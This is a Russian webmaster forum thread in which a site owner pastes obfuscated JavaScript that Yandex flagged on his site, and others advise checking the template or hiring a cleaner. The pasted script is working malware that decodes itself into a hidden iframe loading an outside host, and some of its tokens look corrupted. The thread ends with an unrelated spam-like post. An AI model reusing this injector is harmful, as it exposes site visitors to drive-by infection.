Автор Тема: Якобы вредоносный код на сайте...  (Прочитано 2184 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн SergeyAkimov

  • Опытный
  • ***
  • Сообщений: 222
  • Karma: +1/-0
    • Просмотр профиля
    • Пой,гармоника!
Мужики,ни у кого нет такой проблемы в последнее время,что Яндекс периодически находит "вредоносный код" на вашем сайте,а при перепрверке всё оказывается нормально? У меня вот уже третий раз за последние пару месяцев. Последний раз-в эти выходные и до сих пор пометка не снята. Писал в техподдержку. Мне ответили,что,типа периодически на сайте проявляется вот такой код:

[script]function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#c0','background:url(data:,eval)');var wij=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var bauu=r.cssRules||r.rules;for(var bpio=0;bpio<bauu.length;bpio++){var urnz=bauu.item?bauu.item(bpio):bauu[bpio];if(!urnz.selectorText.match(/#c(\d+)/))continue;wij=urnz.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};}catch(e){};}
puny=new Date(2010,11,3,2,21,4);t=puny.getSeconds();var rpzc=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,40t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/4/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,412/t,456/t,404/t,404/t,440/t,184/t,448/t,416/t,448/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,412/t,456/t,404/t,404/t,440/t,184/t,448/t,416/t,448/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var mw="";ukxy=function(){return{e:eval}}().e;qf=ukxy(wij);var mv='';var phm="fro"+puny.getSeconds()+"arCode";phm=phm.replace(4,"mCh");hx=String[phm];for(var i=0;i<rpzc.length;i++){nqwy=qf(rpzc);hx.call(nqwy);mv+=hx(nqwy);}
qf(mv);[/script]


Скачал файлы сайта на комп,проверил антивирусом Аваст-чисто. Проверил антивирусом хостинга-чисто. Онлайн сервисы показывают-чисто. Что за хрень???

Это ладно... Удивительно то,что Гугл за всё время существования сайта НИ РАЗУ ничего там не находил.  Яндекс,что,считает себя настолько круче Гугла,чтобы без сомнений раздавать клеймо "Этот сайт может угрожать вашему ПК",когда Гугл считает,что всё в порядке???
Пой,гармоника! - заходим в гости

Оффлайн mister_baks

  • Пионеры
  • Герой форума
  • *****
  • Сообщений: 1211
  • Karma: +19/-3
  • Пол: Мужской
    • Просмотр профиля
    • http://www.kanikuly-w-meksike.ru/
    • E-mail
Якобы вредоносный код на сайте...
« Ответ #1 : 28 Ноября, 2012, 01:33 »
на одном сайте есть такая шняга, то появляется то исчезает, одно только понял, сабака зарыта в шаблоне, который я как назло вылезал до чиста (переделывал , много перерисовывал и т.д. , красиво получилось и жалко менять) . Но где конкретно в шаблоне , так и не нашел, тоже весь мозг сломал)

Оффлайн Дядя Вася

  • Пионеры
  • Герой форума
  • *****
  • Сообщений: 1343
  • Karma: +54/-3
  • Пол: Мужской
  • Я - не я, и корова не моя!!!
    • Просмотр профиля
Якобы вредоносный код на сайте...
« Ответ #2 : 28 Ноября, 2012, 22:42 »
Мужики,ни у кого нет такой проблемы
Скорее всего, mister_baks совершенно прав - эта дрянь в шаблоне, было такое и у меня.
Ищи там. Дело муторное, иногда легче сменить шаблон, если, конечно, он не штучной работы.
Нам солнца не надо - нам Партия светит! Нам хлеба не надо - работу давай!

Оффлайн SergeyAkimov

  • Опытный
  • ***
  • Сообщений: 222
  • Karma: +1/-0
    • Просмотр профиля
    • Пой,гармоника!
Якобы вредоносный код на сайте...
« Ответ #3 : 30 Ноября, 2012, 13:50 »
Искать нужно именно сам код(который я указал выше)?
Пой,гармоника! - заходим в гости

Оффлайн Gan's V Ander

  • Пионеры
  • Герой форума
  • *****
  • Сообщений: 716
  • Karma: +30/-0
  • Пол: Мужской
  • Новая ЛИЧНОСТЬ
    • ICQ клиент - 632395231
    • Просмотр профиля
    • Всё что нужно знать об автозвуке
    • E-mail
Якобы вредоносный код на сайте...
« Ответ #4 : 30 Ноября, 2012, 14:43 »
я бы посоветовал обратиться к тому кто в этом разбирается. за 200-300р сделают.

Оффлайн Дядя Вася

  • Пионеры
  • Герой форума
  • *****
  • Сообщений: 1343
  • Karma: +54/-3
  • Пол: Мужской
  • Я - не я, и корова не моя!!!
    • Просмотр профиля
Якобы вредоносный код на сайте...
« Ответ #5 : 30 Ноября, 2012, 17:47 »
Искать нужно именно сам код(который я указал выше)?
Если не шаришь, лучше закажи чистку спецам. Вместе с кодом можно удалить кусок шаблона.
Я лезть не стал (специалист в другой области), мне сделали.
Нам солнца не надо - нам Партия светит! Нам хлеба не надо - работу давай!

Оффлайн SergeyAkimov

  • Опытный
  • ***
  • Сообщений: 222
  • Karma: +1/-0
    • Просмотр профиля
    • Пой,гармоника!
Якобы вредоносный код на сайте...
« Ответ #6 : 01 Декабря, 2012, 01:05 »
Можете посоветовать кого–нибудь?
Пой,гармоника! - заходим в гости

Оффлайн Дядя Вася

  • Пионеры
  • Герой форума
  • *****
  • Сообщений: 1343
  • Karma: +54/-3
  • Пол: Мужской
  • Я - не я, и корова не моя!!!
    • Просмотр профиля
Якобы вредоносный код на сайте...
« Ответ #7 : 02 Декабря, 2012, 01:14 »
На русском форуме joomla есть умельцы.
Но у кого делал - не помню точно.
Нам солнца не надо - нам Партия светит! Нам хлеба не надо - работу давай!

Оффлайн Ernestfok

  • Новичок
  • *
  • Сообщений: 4
  • Karma: +0/-0
  • Пол: Мужской
    • ICQ клиент - 127524724
    • MSN клиент - nathanmuh@mail.ru
    • Просмотр профиля
    • средства ДЛЯ ПОХУДЕНИЯ
    • E-mail
Якобы вредоносный код на сайте
« Ответ #8 : 17 Марта, 2016, 22:30 »
Вставил код тот что в инструкции - а он невыдает ни каких результатов .
Система его невидет в html  коде тоже невидно результатов работы кода , но в папке пользователя создаются два пустых файла.

У кого есть рабочий код для PERL ?  кто может подскзаать по PERL ?